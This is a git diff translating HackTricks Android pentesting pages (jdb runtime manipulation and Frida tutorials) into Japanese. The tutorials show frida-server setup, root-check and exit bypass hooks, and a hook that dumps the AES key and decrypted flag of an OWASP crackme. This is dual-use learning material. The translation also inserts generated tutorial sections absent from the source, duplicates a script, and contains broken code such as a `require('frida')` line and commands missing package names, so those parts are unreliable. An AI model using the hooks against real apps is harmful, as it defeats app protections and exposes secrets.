-![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack10.png) - -Figure 9 - -From here onwards, we will be able to control and see the sensitive values, method arguments, etc. using various commands. - -Just to understand what’s happening in the background, I am following the code associated with the onClick method, which is shown in Figure 10. +アプリケーションの実行時に動作を変更するには、ブレークポイントを設定し、フローを制御する必要があります。ただし、アプリケーションで使用されるクラスやメソッドがわかりません。したがって、次のコマ +背後で何が起こっているかを理解するために、図10に示されているonClickメソッドに関連するコードを追っています。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack11.png) -Figure 10 +図10 -Before proceeding further, let’s see if there are any local variables at this point in time using the command “**locals**“. +さらに進む前に、コマンド「**locals**」を使用してこの時点でのローカル変数があるかどうかを確認しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack12.png) -Figure 11 +図11 -As we can see, there is no interesting information for us. +わかりますように、私たちには興味深い情報はありません。 -So, let’s execute the next line using the “**next**” command as shown below. +したがって、次の行を「**next**」コマンドを使用して実行しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack13.png) -Figure 12 +図12 -Let’s again try executing the command “**locals**” to see what happened in the previous command. +次に、前のコマンドで何が起こったかを確認するために再び「**locals**」コマンドを実行してみましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack14.png) -Figure 13 +図13 -It’s pretty clear that TextView has been loaded into method arguments. If we look at the source code provided in Figure 10, the line associated with TextView instantiation has been executed. +TextViewがメソッド引数にロードされていることが明らかです。図10で提供されたソースコードを見ると、TextViewのインスタンス化に関連する行が実行されています。 -Let’s now execute the next lines by executing the “**next**” command, and check the local variables as shown in the figure below. +次の行を実行するために「**next**」コマンドを実行し、図のようにローカル変数をチェックしましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack15.png) -Figure 14 +図14 -As we can see, all the local variables have been displayed. The string “**secret**” looks interesting. The value “Try Again” is what is going to be printed when we click the button. +すべてのローカル変数が表示されていることがわかります。文字列「**secret**」は興味深いようです。「Try Again」という値がボタンをクリックしたときに表示されるものです。 -From Figure 10, it is very clear that the method **setText** is getting executed to print the value “**Try Again**“. So, let’s use the “**step**” command to get into the definition of the “**setText**” method and dynamically modify the text to be printed. +図10からは、値「**Try Again**」を表示するためにメソッド**setText**が実行されていることが非常に明確です。したがって、「**step**」コマンドを使用して「**setText**」メソッドの定義に入り、表示されるテキストを動的に変更しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack16.png) -Figure 15 +図15 -Let’s see the local variables inside the definition using “**locals**“. +定義内のローカル変数を「**locals**」を使用して確認しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack17.png) -Figure 16 +図16 -Now, let’s change the value of “**text**” from “**Try Again**” to “**Hacked**” using “**set**” command. +次に、「**set**」コマンドを使用して「**text**」の値を「**Hacked**」に変更しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack18.png) -Figure 17 +図17 -We cannot see any changes in the application, since we haven’t executed the modified code. +変更したコードを実行していないため、アプリケーションには変更が表示されません。 -So, let’s run the application using the “**run**” command as shown below, and see the application’s output on its screen. +したがって、以下のように「**run**」コマンドを使用してアプリケーションを実行し、その画面上でアプリケーションの出力を確認しましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack19.png) -Figure 18 +図18 -Let’s look at the application running in the emulator. +エミュレータで実行中のアプリケーションを見てみましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack20.png) -Figure 19 - -We have successfully modified the output of the application at runtime. This is just an example to show how an application’s behavior can be modified if the application is debuggable. We can perform various other things including “**Getting a shell**” on the device in the context of the vulnerable application. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +図19 +ランタイムでアプリケーションの出力を正常に変更しました。これは、アプリケーションがデバッグ可能な場合、アプリケーションの動作がどのように変更されるかを示す例です。脆弱なアプリケーションのコンテキストでデバイス上で「**シェルを取得する**」など、さまざまな操作を実行できます。 diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index f201c2217..8738049d5 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,77 +1,70 @@ -# Frida Tutorial +# Fridaチュートリアル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Installation - -Install **frida tools**: +## インストール +**fridaツール**をインストールします: ```bash pip install frida-tools pip install frida ``` - -**Download and install** in the android the **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -One-liner to restart adb in root mode, connect to it, upload frida-server, give exec permissions and run it in backgroud: - +**frida server**をAndroidに**ダウンロードしてインストール**します([最新リリースをダウンロード](https://github.com/frida/frida/releases))。\ +ルートモードでadbを再起動し、接続し、frida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー: ```bash -adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" +adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` - -**Check** if it is **working**: - +**動作を確認する**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` +## チュートリアル -## Tutorials +### [チュートリアル 1](frida-tutorial-1.md) -### [Tutorial 1](frida-tutorial-1.md) - -**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**元記事**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -Follow the [link to read it](frida-tutorial-1.md). +[リンクをクリックして読む](frida-tutorial-1.md)。 -### [Tutorial 2](frida-tutorial-2.md) +### [チュートリアル 2](frida-tutorial-2.md) -**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**元記事**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3, 4)\ +**APK とソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -Follow the[ link to read it.](frida-tutorial-2.md) +[リンクをクリックして読む](frida-tutorial-2.md)。 -### [Tutorial 3](owaspuncrackable-1.md) +### [チュートリアル 3](owaspuncrackable-1.md) -**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**元記事**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -Follow the [link to read it](owaspuncrackable-1.md).\ -**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +[リンクをクリックして読む](owaspuncrackable-1.md)。\ +**ここで素晴らしい Frida スクリプトを見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## Fast Examples +## 早い例 -Here you can find the more basic and interesting functionalities of Frida to make a quick script: - -### Calling Frida from command line +ここでは、Fridaの基本的で興味深い機能を使ったクイックスクリプトを見つけることができます。 +### コマンドラインからFridaを呼び出す ```bash frida-ps -U @@ -84,9 +77,71 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1 #frozen so that the instrumentation can occur, and the automatically #continue execution with our modified code. ``` +### 基本的なPythonスクリプト -### Basic Python Script +```python +import frida +# Attach to the target process +session = frida.attach("com.example.app") + +# Define the JavaScript code to be injected +js_code = """ +Java.perform(function () { + // Hook the target method + var targetClass = Java.use("com.example.app.TargetClass"); + targetClass.targetMethod.implementation = function () { + // Modify the behavior of the target method + console.log("Target method hooked!"); + // Call the original method + this.targetMethod(); + }; +}); +""" + +# Create a script from the JavaScript code +script = session.create_script(js_code) + +# Load the script into the target process +script.load() + +# Detach from the target process +session.detach() +``` + +このPythonスクリプトは、Fridaを使用してターゲットプロセスにアタッチし、JavaScriptコードを注入するための基本的なスクリプトです。 + +```python +import frida + +# ターゲットプロセスにアタッチする +session = frida.attach("com.example.app") + +# 注入するJavaScriptコードを定義する +js_code = """ +Java.perform(function () { + // ターゲットメソッドをフックする + var targetClass = Java.use("com.example.app.TargetClass"); + targetClass.targetMethod.implementation = function () { + // ターゲットメソッドの動作を変更する + console.log("ターゲットメソッドがフックされました!"); + // オリジナルのメソッドを呼び出す + this.targetMethod(); + }; +}); +""" + +# JavaScriptコードからスクリプトを作成する +script = session.create_script(js_code) + +# スクリプトをターゲットプロセスにロードする +script.load() + +# ターゲットプロセスからデタッチする +session.detach() +``` + +このスクリプトでは、Fridaを使用してAndroidアプリのターゲットプロセスにアタッチし、指定したクラスのメソッドをフックして動作を変更します。フックしたメソッド内で、コンソールにメッセージを出力し、オリジナルのメソッドを呼び出します。 ```python import frida, sys @@ -97,120 +152,271 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` +### パラメータのない関数のフック -### Hooking functions without parameters - -Hook the function `a()` of the class `sg.vantagepoint.a.c` - +クラス `sg.vantagepoint.a.c` の関数 `a()` をフックします。 ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { - rootcheck1.a.overload().implementation = function() { - send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()"); - return false; +rootcheck1.a.overload().implementation = function() { +send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()"); +return false; +}; +}); +``` +# Frida Tutorial: Hooking `exit()` in Java + +In this tutorial, we will learn how to use Frida to hook the `exit()` function in Java. By hooking this function, we can intercept the program's exit and perform additional actions before the application terminates. + +## Prerequisites + +Before we begin, make sure you have the following: + +- A rooted Android device or an emulator +- Frida installed on your machine +- Basic knowledge of JavaScript and Java + +## Steps + +1. Start by creating a new JavaScript file, for example `hook_exit.js`, and open it in a text editor. + +2. Import the necessary Frida modules: + +```javascript +const { Java } = require('frida'); +``` + +3. Attach to the target process using Frida: + +```javascript +Java.perform(function () { + // Code goes here +}); +``` + +4. Find the class and method that contains the `exit()` function. You can use the `Java.use()` function to obtain a reference to the class: + +```javascript +const System = Java.use('java.lang.System'); +``` + +5. Hook the `exit()` method using the `System.exit.implementation` property: + +```javascript +System.exit.implementation = function (code) { + // Code goes here + this.exit(code); +}; +``` + +6. Inside the hook, you can add your custom logic. For example, you can log the exit code before the application terminates: + +```javascript +System.exit.implementation = function (code) { + console.log('Exit code:', code); + this.exit(code); +}; +``` + +7. Save the JavaScript file. + +8. Launch the target application on your Android device or emulator. + +9. Use Frida to inject the JavaScript code into the target process: + +```bash +frida -U -l hook_exit.js -f +``` + +Replace `` with the package name of the target application. + +10. You should see the exit code being logged in the console whenever the `exit()` function is called. + +## Conclusion + +By hooking the `exit()` function in Java using Frida, we can intercept the program's exit and perform additional actions. This technique can be useful for debugging or analyzing the behavior of an application during its termination process. +```javascript +var sysexit = Java.use("java.lang.System"); +sysexit.exit.overload("int").implementation = function(var_0) { +send("java.lang.System.exit(I)V // We avoid exiting the application :)"); +}; +``` +# Frida Tutorial: メインアクティビティの `.onStart()` と `.onCreate()` をフックする + +このチュートリアルでは、Fridaを使用してAndroidアプリのメインアクティビティの `.onStart()` と `.onCreate()` メソッドをフックする方法を学びます。 + +## 前提条件 + +- Fridaがインストールされていること +- ターゲットとなるAndroidデバイスが接続されていること + +## ステップ1: Fridaスクリプトの作成 + +まず、Fridaスクリプトを作成します。以下のコードを使用して、メインアクティビティの `.onStart()` と `.onCreate()` メソッドをフックするスクリプトを作成します。 + +```javascript +Java.perform(function() { + var MainActivity = Java.use('com.example.MainActivity'); + + MainActivity.onStart.implementation = function() { + console.log('MainActivity.onStart() メソッドが呼び出されました'); + this.onStart(); + }; + + MainActivity.onCreate.implementation = function() { + console.log('MainActivity.onCreate() メソッドが呼び出されました'); + this.onCreate(); }; }); ``` -Hook java `exit()` +## ステップ2: Fridaスクリプトの実行 -```javascript -var sysexit = Java.use("java.lang.System"); - sysexit.exit.overload("int").implementation = function(var_0) { - send("java.lang.System.exit(I)V // We avoid exiting the application :)"); - }; +次に、作成したFridaスクリプトを実行します。以下のコマンドを使用して、スクリプトを実行します。 + +```bash +frida -U -l script.js -f com.example.app ``` -Hook MainActivity `.onStart()` & `.onCreate()` +- `-U` フラグは、USB接続されたデバイスを使用することを指定します。 +- `-l` フラグは、実行するFridaスクリプトのパスを指定します。 +- `-f` フラグは、ターゲットとなるアプリのパッケージ名を指定します。 +## ステップ3: フックされたメソッドの確認 + +Fridaスクリプトが正常に実行されると、メインアクティビティの `.onStart()` と `.onCreate()` メソッドがフックされ、ログにメッセージが表示されます。 + +これで、Androidアプリのメインアクティビティの `.onStart()` と `.onCreate()` メソッドをフックすることができました。 ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity"); - mainactivity.onStart.overload().implementation = function() { - send("MainActivity.onStart() HIT!!!"); - var ret = this.onStart.overload().call(this); - }; - mainactivity.onCreate.overload("android.os.Bundle").implementation = function(var_0) { - send("MainActivity.onCreate() HIT!!!"); - var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); - }; +mainactivity.onStart.overload().implementation = function() { +send("MainActivity.onStart() HIT!!!"); +var ret = this.onStart.overload().call(this); +}; +mainactivity.onCreate.overload("android.os.Bundle").implementation = function(var_0) { +send("MainActivity.onCreate() HIT!!!"); +var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); +}; +``` +# Frida Tutorial: フック Android の `.onCreate()` + +このチュートリアルでは、Frida を使用して Android アプリの `.onCreate()` メソッドをフックする方法について説明します。 + +## 1. Frida のセットアップ + +まず、Frida をセットアップする必要があります。Frida をインストールするには、以下のコマンドを実行します。 + +```bash +$ pip install frida-tools ``` -Hook android `.onCreate()` +## 2. デバイスへの接続 + +Frida を使用するためには、デバイスに接続する必要があります。以下のコマンドを使用して、デバイスに接続します。 + +```bash +$ adb devices +``` + +## 3. フックの実装 + +Frida を使用して `.onCreate()` メソッドをフックするために、以下のスクリプトを作成します。 ```javascript - var activity = Java.use("android.app.Activity"); - activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) { - send("Activity HIT!!!"); - var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); +Java.perform(function() { + var MainActivity = Java.use('com.example.MainActivity'); + + MainActivity.onCreate.implementation = function() { + console.log('onCreate() メソッドがフックされました!'); + + // ここにフック後の処理を追加します + + // 元のメソッドを呼び出します + this.onCreate(); }; +}); ``` -### Hooking functions with parameters and retrieving the value +## 4. フックの実行 -Hooking a decryption function. Print the input, call the original function decrypt the input and finally, print the plain data: +作成したスクリプトを実行するために、以下のコマンドを使用します。 +```bash +$ frida -U -f com.example.app -l script.js --no-pause +``` + +`com.example.app` の部分をターゲットアプリのパッケージ名に置き換えてください。`script.js` の部分を作成したスクリプトのファイル名に置き換えてください。 + +## 5. 結果の確認 + +スクリプトが正常に実行されると、`.onCreate()` メソッドがフックされたことを示すメッセージが表示されます。フック後の処理を追加することで、必要な操作を実行することができます。 + +以上で、Android アプリの `.onCreate()` メソッドをフックする方法が完了です。 ```javascript - function getString(data){ - var ret = ""; - for (var i=0; i < data.length; i++){ - ret += data[i].toString(); - } - return ret - } - var aes_decrypt = Java.use("sg.vantagepoint.a.a"); - aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { - send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); - send("Key : " + getString(var_0)); - send("Encrypted : " + getString(var_1)); - var ret = this.a.overload("[B","[B").call(this,var_0,var_1); - send("Decrypted : " + ret); - - var flag = ""; - for (var i=0; i < ret.length; i++){ - flag += String.fromCharCode(ret[i]); - } - send("Decrypted flag: " + flag); - return ret; //[B - }; +var activity = Java.use("android.app.Activity"); +activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) { +send("Activity HIT!!!"); +var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); +}; ``` +### パラメータを持つ関数のフックと値の取得 -### Hooking functions and calling them with our input +復号化関数のフック。入力を表示し、元の関数を呼び出して入力を復号化し、最後に平文データを表示します。 +```javascript +function getString(data){ +var ret = ""; +for (var i=0; i < data.length; i++){ +ret += data[i].toString(); +} +return ret +} +var aes_decrypt = Java.use("sg.vantagepoint.a.a"); +aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { +send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); +send("Key : " + getString(var_0)); +send("Encrypted : " + getString(var_1)); +var ret = this.a.overload("[B","[B").call(this,var_0,var_1); +send("Decrypted : " + ret); -Hook a function that receives a string and call it with other string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +var flag = ""; +for (var i=0; i < ret.length; i++){ +flag += String.fromCharCode(ret[i]); +} +send("Decrypted flag: " + flag); +return ret; //[B +}; +``` +### ファンクションのフックと入力を使用した呼び出し +関数をフックして、文字列を受け取り、他の文字列で呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)。 ```javascript var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class my_class.fun.overload("java.lang.String").implementation = function(x){ //hooking the new function - var my_string = string_class.$new("My TeSt String#####"); //creating a new String by using `new` operator - console.log("Original arg: " +x ); - var ret = this.fun(my_string); // calling the original function with the new String, and putting its return value in ret variable - console.log("Return value: "+ret); - return ret; +var my_string = string_class.$new("My TeSt String#####"); //creating a new String by using `new` operator +console.log("Original arg: " +x ); +var ret = this.fun(my_string); // calling the original function with the new String, and putting its return value in ret variable +console.log("Return value: "+ret); +return ret; }; ``` +### クラスの既存オブジェクトの取得 -### Getting an already created object of a class - -If you want to extract some attribute of a created object you can use this. - -In this example you are going to see how to get the object of the class my\_activity and how to call the function .secret() that will print a private attribute of the object: +作成済みのオブジェクトの属性を抽出したい場合は、これを使用できます。 +この例では、クラスmy\_activityのオブジェクトを取得し、オブジェクトのプライベート属性を表示する関数.secret()を呼び出す方法を示します。 ```javascript Java.choose("com.example.a11x256.frida_test.my_activity" , { - onMatch : function(instance){ //This function will be called for every instance found by frida - console.log("Found instance: "+instance); - console.log("Result of secret func: " + instance.secret()); - }, - onComplete:function(){} +onMatch : function(instance){ //This function will be called for every instance found by frida +console.log("Found instance: "+instance); +console.log("Result of secret func: " + instance.secret()); +}, +onComplete:function(){} }); ``` - - - -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これはハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -218,10 +424,10 @@ Java.choose("com.example.a11x256.frida_test.my_activity" , { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index 82e22d5af..3dd7e3dc1 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -1,20 +1,20 @@ -# Frida Tutorial 1 +# Fridaチュートリアル1
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**ために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -24,132 +24,118 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Python -Frida allows you to **insert JavaScript code** inside functions of a running application. But you can use **python** to **call** the hooks and even to **interact** with the **hooks**. - -This is a easy python script that you can use with all the proposed examples in this tutorial: +Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フックと対話したり**することもできます。 +この簡単なpythonスクリプトは、このチュートリアルで提案されているすべての例に使用できます: ```python #hooking.py import frida, sys with open(sys.argv[1], 'r') as f: - jscode = f.read() +jscode = f.read() process = frida.get_usb_device().attach('infosecadventures.fridademo') script = process.create_script(jscode) print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` - -Call the script: - +スクリプトを呼び出す: ```bash python hooking.py ``` - -It is useful to know how to use python with frida, but for this examples you could also call directly Frida using command line frida tools: - +PythonをFridaと一緒に使う方法を知っておくと便利ですが、この例ではコマンドラインのfridaツールを直接呼び出すこともできます。 ``` 